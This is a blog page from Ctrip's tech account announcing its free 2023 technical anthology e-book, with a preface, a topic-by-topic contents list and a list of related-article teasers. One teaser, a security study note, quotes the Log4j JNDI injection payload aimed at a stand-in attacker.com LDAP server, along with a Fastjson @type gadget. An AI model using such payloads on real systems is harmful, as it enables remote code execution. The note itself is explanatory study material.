《携程技术2023年度合辑》,送给爱学习的你

从零开始学习 Go 1.25 编程 今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀 阅读详情

序言

“疾风知劲草,烈火见真金。”2023年,是我们的挑战之年,也是我们的成长之年。全球旅游行业在经历了三年疫情的严重打击后,终于迎来了全面的复苏和爆发式的增长。我们多个业务线订单量均突破了历史最高值,随着五一、暑期、十一、春运多个业务高峰接踵而至,我们系统承受了前所未有之压力,面对压力,我们没有退缩,而是选择了挑战。我们进行了一系列的技术改进和创新,提升了系统的效率、可扩展性、稳定性和安全性,同时降低了成本,强有力地保障了业务的发展。

“读万卷书,行万里路。”我们知道,知识的力量是无穷的,分享的价值是无尽的。因此,我们把这一年的经验和心得,写成了文章,合并成了这本年度合辑,希望能够和所有的技术人分享。本次技术合辑将围绕“大前端技术”,“技术架构”,“大数据技术”,“数据库技术“,”人工智能“,“高质量”等几个领域,专注在如何利用技术提升用户体验、提升效率,保障系统稳定性和降低成本的实践分享,同时也有我们在业务出海过程中的技术挑战和应对方面的经验分享。

“未来可期,星辰大海。”展望未来,我们充满信心。围绕集团的两大战略“国际化”和“高质量”, 我们将继续坚持技术创新,我们将全面拥抱AI技术,我们坚信,AI技术将成为我们新的引擎,推动我们的业务飞跃新的高度。我们将以更开放的心态,更积极的态度,迎接新挑战和机遇。

最后,我要向每一个团队成员表示最深的敬意和最热烈的感谢,是你们的辛勤付出,为公司的发展做出了巨大的贡献。同时,也感谢每一位读者的关注和支持,希望我们的经验和心得,能给你们带来启发和帮助。

携程集团副总裁/技术委员会主席 马超

内容概览

大前端

  • 携程跨端解决方案的新选择:Taro-CRN

  • 新时代的 SSR 框架破局者:qwik

  • 提升前端工程化,携程 Design2Code 从零到一的实践

  • 日均报错量降低95%,携程小程序生态之自动化错误预警方案

  • 携程小程序内嵌webview实践指南

  • 携程度假基于RPC和TypeScript的BFF设计与实践

  • 携程Taro多端化探索与实践

  • 提升前端开发效率,携程机票定制代码生成器实践

架构

  • 提升内存管理效率,携程酒店查询服务轻量化探索和实践

  • 降低复杂度提升效率,DDD在携程用车/租车订单系统重构中的实践

  • 携程中转交通方案拼接性能优化

  • 携程10个有效降低客户端超时的方法

  • 携程国际机票架构重构实践

  • 携程火车票出海架构演进之路

  • 携程后台低代码平台的探究与实践

数据库

  • 携程MySQL迁移OceanBase最佳实践

  • 携程 Redis On Rocks 实践,节省 2/3 Redis成本

大数据

  • 携程日志系统治理演进之路

  • 提速10倍+,StarRocks 指标平台在携程火车票的实践

  • 节约60%开发工时,离在线一体化数仓系统在携程旅游的落地实践

  • 贝叶斯结构模型在全量营销效果评估的应用

人工智能

  • 携程商旅基于图网络的注册风控实践

  • 携程火车票异常检测和根因定位实践

质量保障

  • 故障召回率提升34%,携程智能异常检测实践

下载方式

《携程技术2023年度合辑》为电子书,在“携程技术”微信公众号对话框回复“2023”,即可免费下载。

e9a830eaaf576e7b9b4398a054eae76d.png

温馨提醒:回复年份数字,可获取对应年份的技术合辑电子书。例如回复“2022”,可获取《携程技术2022年度合辑》。

c07ac32197f7f2b64323ff8c118efec2.jpeg

 “携程技术”公众号

  分享,交流,成长

2023年10月数据月报 2023年10月数据月报,为您准备了阿里、字节、百度等大厂110多篇实践案例 阅读详情

相关推荐

昇腾910B+MindIE部署Qwen模型避坑指南:从镜像下载到推理测试全流程

本文详细介绍了在昇腾910B硬件环境中使用MindIE推理工具部署Qwen系列模型的全流程指南。从环境准备、镜像下载到模型部署与性能优化,提供一站式解决方案,帮助开发者高效完成AI模型推理任务。

weixin_29219189的博客 766

《携程技术2022年度合辑》,送给爱学习的你

序言2023年,当世界重新与中国相连,我们有信心让与世界暌违三年再次踏上旅途的旅行者拥有完美旅程。这是携程人在新年伊始面对春天做出的承诺以及对更美好世界的渴望。疫情三年,一直在改变着我们交流的方式,令生活被切割成无可拼凑的碎片;我们急切地讨论着远方的故事,却又置身不确定的当下。而如今春暖花开,作为携程技术人正在把握机遇,做到用实力过硬的技术,打造强适应性的产品,用“全球化视野+本地化运营” 升级用...

携程技术 4310

(35)远程识别(又称无人机识别)(一)

Ardupilot官网关于《Peripheral Hardware》的翻译 —《(35) 远程识别(又称无人机识别)》。

无人机开发(开源Ardupilot) 4万+

携程技术品牌牛小千:互联网公司的技术品牌该怎么做?

开发者生态联盟简介: 由优快云发起,面向开发者生态相关从业者,包括但不限于技术品牌、开发者关系拓展、生态拓展等、技术布道师、社区运营等,共同交流学习如何做好生态运营,资源互助的社区。 加入开发者生态联盟专属福利: 连接国内最多国内同行和上下游合作方,集中讨论开发者生态运营相关的经验实践、实践技能、资源工具等主题,不定期邀请开发者生态专家入群分享实践,参加开发者生态英雄会。 聚集和整理联盟成员的生态合作项目,如技术活动、交叉推广等资源互换。也会第一时间直通优快云内部各业务的合作项目。 联盟成员.

yangdongjie 376

实战指南:在摩尔线程GPU上部署AI模型的完整流程

本文提供了一份详尽的实战指南,手把手教你如何在摩尔线程GPU上成功部署AI模型。内容涵盖从驱动安装、Docker环境配置,到核心的代码适配与模型运行全流程,并分享了性能调优技巧与常见避坑方法,旨在帮助开发者高效利用国产硬件进行AI应用开发。

weixin_29271263的博客 541

5060TI显卡深度学习环境搭建:CUDA12.8与CUDNN9.8.0的完美搭配

本文详细介绍了在Win10系统下为5060TI显卡搭建深度学习环境的最佳实践,重点配置CUDA12.8与CUDNN9.8.0的完美组合。通过优化OpenCV编译选项和YOLOv5环境设置,显著提升模型训练和推理效率,帮助开发者充分发挥5060TI显卡的性能潜力。

weixin_29065791的博客 488

干货 | 携程公共技术支持运营实践

作者简介Ling,携程公共技术服务中心运营经理,喜欢新技术,致力于提升研发效率与研发质量。携程技术保障中心在2021年8月,把发布系统的技术支持团队转成了公共TS团队(公共技术服务中心),旨在持续提升TS的运营效率和服务质量。庆幸自己带着这支团队经历了这次蜕变,借这篇文章和大家分享TS运营的经验和感悟,以及对TS运营的展望。术语通用产研工具研发团队向公司内部推出的产品或...

携程技术 829

深入SVT SPI VIP配置:如何灵活控制CS间隔、数据帧大小与时钟频率(含代码片段)

本文深入探讨了SVT SPI VIP的高级配置技巧,包括精确控制CS信号间隔、突破数据帧大小限制以及动态时钟频率切换。通过实战代码片段和详细配置步骤,帮助验证工程师灵活应对复杂SPI协议验证场景,提升验证效率和覆盖率。特别适合需要处理非标准SPI时序和特殊数据帧的芯片验证项目。

weixin_27014595的博客 280

《携程技术2020年度合辑》,送给爱学习的你

01序言 2020年跌宕起伏,突如其来的疫情对旅游行业造成了前所未有的冲击,也让更多人进一步感受到技术互联互通的重要性。对于旅游业技术人而言,外部的不可控因素让我们更加聚焦于系...

携程技术 728

用Playwright MCP让AI帮你完成所有浏览器自动化

Playwright MCP(Model Context Protocol)是微软基于 Playwright 框架推出的 AI 浏览器自动化新协议。它通过结构化快照数据和自然语言指令结合大型语言模型(如 GPT),实现无需编码的网页交互。无论你是要测试登录流程、抓取价格数据,还是用 AI 远程控制浏览器,Playwright MCP 都能大幅降低门槛,让“说人话”也能驱动自动化脚本。本篇将从功能介绍、技术架构、使用方法到实际场景,带你全面理解这一自动化革命。

todoitbo的博客 3万+

【WorkBuddy专栏25】如何选择大模型——积分消耗、用途场景、选型决策全指南

【WorkBuddy专栏25】如何选择大模型——积分消耗、用途场景、选型决策全指南

AI人人懂 936

《携程技术2019年度合辑》,送给爱学习的你

2019年的携程技术合辑要和大家见面了。我们把过去一年中踩过的坑,成功的经验,汇总起来进行分享,希望能帮助大家少走一些弯路。合辑中的文章来自携程技术各部门的一线工程师,有基础架构部门,...

携程技术 1730

科研级YOLOv8 Neck革新:BiFPN双向特征金字塔赋能,让多尺度融合更高效的实战指南

在文件夹下新建BiFPN.py,将上述BiFPNLayer和BiFPN类的代码写入其中。这一步是为了让YOLOv8的代码架构能识别我们的自定义Neck模块。

m0_64661770的博客 153

2023年上千道Java全新核心面试题及答案!快来通透一下

2023年通用架构师面试问题,面试中较为笼统的部分不一定只专注于您的简历。它还可能包含一些有关您从事的项目以及如何管理时间和优先级的问题,很多朋友对面试不够了解,不知道如何准备,对面试环节的设置以及目的不够了解,因此成功率不高。通常情况下校招生面试的成功率低于1%,而社招的面试成功率也低于5%,所以对于候选人一定要知道设立面试的初衷以及每个环节的意义,有的放矢(比喻说话做事有针对性)。

m0_57042151的博客 409

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

春招如何抱佛脚?2023最新大厂Java面试真题合集(附权威答案)

2023春招已经来了,但是离谱的是,很多同学最近才想起来还有春招这回事,所以纷纷临时抱佛脚,问我有没有什么快速磨枪的方法,我的回答是:有!说起来,临阵磨枪没有比背八股文更靠谱的了,很多人对这个很不屑:呵,背题家罢了!但国内大环境如此,你不背,你就找不到满意的工作,很现实的一个事情。当然,你可以选择出淤泥而不染,身体力行的表示反抗,对推动国内互联网陋习改革出一份力,那我还是很佩服的。PS:家里无矿者建议慎重!

m0_73311735的博客 395

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

金九银十如何抱佛脚?2023最新大厂 Java 面试真题合集(附完整答案解析)

2021 秋招眼看着就要来了,但是离谱的是,很多同学最近才想起来还有秋招这回事,所以纷纷临时抱佛脚,问我有没有什么快速磨枪的方法,但国内大环境如此,你不背,你就找不到满意的工作,很现实的一个事情。当然,你可以选择出淤泥而不染,身体力行的表示反抗,对推动国内互联网陋习改革出一份力,那我还是很佩服的。这些面试资料都是我通过各种渠道收集到的大厂面试真题,并附有最新的权威答案,绝不是网络上那些已经是几年前甚至十几年前的面试题所能媲美的,,争取早日上岸,拿到 offer 后别忘了回来给我点个。

wdj_yyds的博客 632

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

春招如何抱佛脚?2023年最新大厂Java面试真题合集(附权威答案)

春招到了,但是离谱的是,很多同学最近才想起来还有秋招这回事,所以纷纷临时抱佛脚,问我有没有什么快速磨枪的方法,

m0_57042151的博客 353

2023年最全的Java后端程序员面试八股文,带你剑指offer拿到手软

这些面试题都是互联网大厂真实流出的面试内容,每个问题都附带完整详细的答案,不像网上的那些资料三教九流有的甚至还没答案,这些面试题我也是经过日积月累才整理出来的精品资料。面试题主要是针对 1-5 年左右的 Java 开发程序员提升的,不管是传统行业还是互联网行业,掌握这些技术基本都能拿到一个不错的薪资,希望对大家有所帮助。

m0_50180963的博客 690

因为AI,我被裁了;MJ设计海报全流程;独立开发者每周收入2.3K美元;MJ常用参数超详细介绍 | ShowMeAI日报

小米组建AI实验室大模型团队;Poe 安卓客户端上架 Google Play;数据分析机构 Databricks 发布State of Data AI 2023 报告;提示工程指南 (中文版)……点击阅读全文

ShowMeAI研究中心 2174

技术,就要精读

技术人要不停学习,防止不进则退。但碎片化的信息那么多,如何选择呢?这次我们遴选了几个精品微信公众号。每天推送干货文章,在这里可以读到各路牛人大咖的经验分享。给你带来最节约...

shenjian58的博客 422

荐号|10个优质的大数据、人工智能公众号

陈皓:很多程序员喜欢调侃说自己是“码农”:编码的农民工,在工作上被各种使唤,各种加班,累得像个牲口。在职业发展上各种迷茫和彷徨,完全看不到未来的希望,更别说可以成为一个手艺人用自己的技能变现了。 但是在这个信息高度流通,获取信息门栏越来越低的社会,主动的“学会学习”往往比被动接受任务更有利于自己的职业生涯发展。 本次筛选的一批公众号,主要与大数据、人工智能、机器学习相关,更

THU数据派 4889

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 374

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 420

邓明 Agent 系统面试-意图识别学习笔记

不要只是做意图识别而不做测评,就好像要评估 RAG 准确性,在接口服务要测试响应时延,超时控制等等,这里也要关注意图识别准确率,如果面试官认为项目指标太高是在吹牛,关键就是回答因为 Agent 解决的是特定领域的意图识别,识别场景单一,另外就是因为用户输入相对简单。意图识别影响 prompt/spec 的加载,意图识别影响上下文组织,意图识别影响工具选择,意图识别影响 prompt 建议,意图识别得到的意图不是让模型随机生成而是候选类别里去做选择。2.意图识别的原因,以及意图识别得到的是什么?

m0_57222081的博客 215

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 136

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 160
上一篇: 2023携程研发代码报告
下一篇: 干货 | 携程酒店排序推荐广告高效可靠数据基座--填充引擎
携程技术
博客等级 码龄10年 3716粉丝 324原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值